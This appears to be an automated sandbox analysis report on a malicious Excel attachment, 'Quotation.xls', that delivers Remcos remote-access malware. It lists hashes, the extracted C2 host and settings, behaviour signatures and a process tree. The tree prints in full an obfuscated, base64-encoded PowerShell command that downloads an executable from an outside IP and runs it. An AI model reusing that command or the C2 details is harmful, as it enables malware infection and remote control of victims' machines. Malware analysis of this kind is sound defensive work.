Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    26-07-2024 14:07

General

  • Target

    Quotation.xls

  • Size

    1.1MB

  • MD5

    36cace5745dcb32c2ab03ca4ba433394

  • SHA1

    2e479ac4ea9b158f39093dded3b55c360a1f2082

  • SHA256

    c2f6ea297ebee1570036db204177fde0e0263006637806e9b28365bb4ef14d7c

  • SHA512

    e2dd193741bb1f9afc3a954bba2ee75a4df1797a487366ad8577a23366f87cb946957f258ab5b493b15abcf351da294e1bca8780765c855ad9a72aed4ed058af

  • SSDEEP

    24576:d29iKjVBuNCgP4G2ycKiEb+S81doGvdKLQy2H7T1:0UKjVBuND4G2ciEb+SNIdOh

Malware Config

Extracted

Family

remcos

Botnet

Gasplant

C2

unifrieghtmovers.com:2558

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    chrome-E2SMAR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Detected phishing page
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Quotation.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1480
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2328
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1320
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sh9uwsnq.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES91B6.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC91B5.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2108
        • C:\Users\Admin\AppData\Roaming\winiti.exe
          "C:\Users\Admin\AppData\Roaming\winiti.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
            5⤵
              PID:1932
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2832

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WNZH54VQ\gdfvr[1].hta

      Filesize

      8KB

      MD5

      3acfbfa9370584918cf3cac2f8c2477a

      SHA1

      00638f3a9f38d86ee353bcf781071d57f56a9bf9

      SHA256

      6a61d87c3dcddc622f054e9ff4628e74d983b7d90f32089b0ee09512a043fb05

      SHA512

      96f3f5f439dd90c0c012699961f7598b05937bb26ae3e55474da4540d14a467cd6b17adc8326e38346d75a92a8844fa592128fdd768a1f14e74ce899f92f2c1d

    • C:\Users\Admin\AppData\Local\Temp\RES91B6.tmp

      Filesize

      1KB

      MD5

      7c7a91071b54cd5629eb834c69bbf6cf

      SHA1

      e4c36a5ca5c0616488ce0c3d39e6d7c9d4bbc00e

      SHA256

      e38b9032b5a2e6a7f307faf83a26ecd8a5368ebf6917719ae289008d551bd8e2

      SHA512

      02543e7ffbd9d10bb321541e714893cec67877935b5a7ef019e41b1ebbc75b9a73df90e62ed4a192bb77e8534cf5107e2f1727d2f6cc10daf5ea2fd94f73cf4b

    • C:\Users\Admin\AppData\Local\Temp\sh9uwsnq.dll

      Filesize

      3KB

      MD5

      275aac286660f6ef901d37d94bec9b95

      SHA1

      917c47f709b416c2a536397f0c10c89ddce49cb4

      SHA256

      c2e4f70b113d5ec0ae252edcbaf22d7f71c25a8b0bee751c8cc20dd9217cf349

      SHA512

      baa47740783c42c277335e53559532436b69152c204e8ed6b3cccc6f417ed0ec03c9068b0a2a269ac483dd65c619f91448e2f090f9669fb35c79300f079de90f

    • C:\Users\Admin\AppData\Local\Temp\sh9uwsnq.pdb

      Filesize

      7KB

      MD5

      53c5f1716d322345465b29ed5056628a

      SHA1

      91774dbe7b7b53d3796da9e2502661b452c6b37a

      SHA256

      bcf743759018d8d4c8f5f9c5d00430be6add3ce36bf92235c3d68f9ff4e6df2c

      SHA512

      8c6babe5341577991477bd29cf77f500dff9ee5b725ee8539135545380fc526ee11f04312b43c120c7fc54d60a518947f9bee8bb52cee8d16e32f143d6945fb2

    • C:\Users\Admin\AppData\Roaming\winiti.exe

      Filesize

      2.5MB

      MD5

      4fb3e6e7b8f9c12cd2d5e161f7b94760

      SHA1

      57bdad62c6ea7f1b905c900302f918d185811a94

      SHA256

      f76f9b85df2ba8850bec058164d2c752c8fd8ef0f1bcffd793e5f453d8a839bb

      SHA512

      f762ad1ccd537d06c1cf3538e433671f441f100b06d37ec34b3a3e76dfbfad40ac7ca50ee32297c54f628b0b89d75c2c5255166cc992f9bcff8f117f70aa179a

    • \??\c:\Users\Admin\AppData\Local\Temp\CSC91B5.tmp

      Filesize

      652B

      MD5

      ae1ad970061631ef4ee66a00f257a1dc

      SHA1

      c63e95076f6bc1fb38c578c014cb95a6070d16bb

      SHA256

      8e17a78ce1a90d4de2024eb7de99e427f55c60453e64118611aec94fa015a9fa

      SHA512

      2a9325cb9cc792a359002c84b72133f075f8c62e86714bf5edf53f525a6c00c0ecb90e2c14c06eaf9e92aa87ae18553c40ff487f0d7690a8c5e9301cf5933f87

    • \??\c:\Users\Admin\AppData\Local\Temp\sh9uwsnq.0.cs

      Filesize

      456B

      MD5

      d92562bb10c45a8479c6f2ca27d4aad2

      SHA1

      bf719a03faf19275b3b660779eb3cfdbda6d4ed5

      SHA256

      3d8e3a49c0baade4d70a96b0bc4c30053324aaf4564edac2fc547aa1ad123a83

      SHA512

      4c8fddb52b3032872eeb96da904ae6040ccf542526be4daf53ebdab975dc9400b38d0153dda5dd0da4d1d372f2711d6617be05f6b7208cb46603fc6f1c95dc39

    • \??\c:\Users\Admin\AppData\Local\Temp\sh9uwsnq.cmdline

      Filesize

      309B

      MD5

      0263cb0f98175d6c7b6f08ffbe398447

      SHA1

      5bd15c76bb428e3bcc0ebbd76a7d8f75f45a4483

      SHA256

      929425610045dccefb95408d96a9fa5687ba866f78d5a943e6e295115df32744

      SHA512

      8d3be9a2f72cc6a630d094f0d0d901a7dd00ac84f020ed54a7f27fc05608b2d21913f7c63e85809e23be98bb4ea34233491568d9a16e7a52c957c64cd6c5f513

    • memory/1480-45-0x000000007244D000-0x0000000072458000-memory.dmp

      Filesize

      44KB

    • memory/1480-4-0x0000000002F20000-0x0000000002F22000-memory.dmp

      Filesize

      8KB

    • memory/1480-1-0x000000007244D000-0x0000000072458000-memory.dmp

      Filesize

      44KB

    • memory/1480-54-0x000000007244D000-0x0000000072458000-memory.dmp

      Filesize

      44KB

    • memory/1480-51-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1480-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2328-3-0x0000000001F20000-0x0000000001F22000-memory.dmp

      Filesize

      8KB

    • memory/2832-38-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-40-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-41-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-42-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-39-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-46-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-47-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-48-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-37-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-36-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-55-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-56-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-57-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2832-58-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB